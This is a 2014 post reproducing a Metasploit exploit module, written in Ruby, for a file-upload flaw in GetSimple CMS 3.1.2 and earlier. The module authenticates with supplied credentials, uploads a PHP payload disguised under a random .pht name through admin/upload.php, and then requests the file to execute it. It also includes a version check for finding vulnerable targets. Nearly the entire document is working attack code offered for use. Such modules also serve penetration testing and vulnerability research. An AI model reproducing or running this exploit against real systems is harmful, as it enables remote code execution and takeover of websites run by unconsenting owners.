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GetSimpleCMS PHP File Upload

Posted on 20 September 2014

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'GetSimpleCMS PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability in GetSimple CMS. By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file, including PHP code, which results in arbitrary code execution. }, 'Author' => [ 'Ahmed Elhady Mohamed' ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '25405'], ['OSVDB', '93034'] ], 'Payload' => { 'BadChars' => "x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Generic (PHP Payload)', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 04 2014' )) register_options([ OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']), OptString.new('USERNAME', [true, 'The username that will be used for authentication process']), OptString.new('PASSWORD', [true, 'The right password for the provided username']) ], self.class) end def send_request_auth res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"), 'vars_post' => { 'userid' => "#{datastore['USERNAME']}", 'pwd' => "#{datastore['PASSWORD']}", 'submitted' => 'Login' } }) res end def send_request_upload(payload_name, cookie_http_header) data = Rex::MIME::Message.new data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name="file[]"; filename="#{payload_name}"") data.add_part("Upload", nil, nil, "form-data; name="submit"") data_post = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"), 'vars_get' => { 'path' =>'' }, 'cookie' => cookie_http_header, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post }) res end def check res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')}) if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Versions*([0-9.]+)/ version = $1 else return Exploit::CheckCode::Unknown end print_status("#{peer} - Version #{version} found") if Gem::Version.new(version) <= Gem::Version.new('3.1.2') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Authenticating...") res = send_request_auth if res && res.code == 302 print_status("#{peer} - The authentication process is done successfully!") else fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end print_status("#{peer} - Extracting Cookies Information...") cookie = res.get_cookies if cookie.blank? fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end print_status("#{peer} - Uploading payload...") payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht' res = send_request_upload(payload_name, cookie) if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name}</ upload_path = $1 print_good("#{peer} - File uploaded to #{upload_path}") register_file_for_cleanup(payload_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_raw({ 'uri' => normalize_uri(target_uri.path.to_s, upload_path, payload_name), 'method' => 'GET' }, 5) end end

 

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